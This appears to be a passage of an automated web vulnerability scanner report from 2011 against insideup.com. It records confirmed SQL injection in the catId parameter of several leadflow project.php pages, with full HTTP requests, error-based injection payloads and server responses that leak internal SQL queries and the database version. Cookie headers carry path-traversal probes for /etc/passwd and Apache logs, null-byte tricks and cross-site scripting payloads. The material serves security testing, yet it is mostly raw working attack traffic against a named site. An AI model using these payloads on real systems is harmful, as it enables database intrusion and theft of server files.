OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:28:01 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=97ssd719pgv7qgc689p4am0r33; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/parl00/project.php

/ppc/leadflow/parl00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/parl00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/parl00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:28:49 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=55goopk5csis14ucrp3ihleh33; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/lodi00/project.php

/ppc/leadflow/lodi00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/lodi00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/lodi00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:28:21 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=0mdup40cv6snsbek3637c3vi94; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

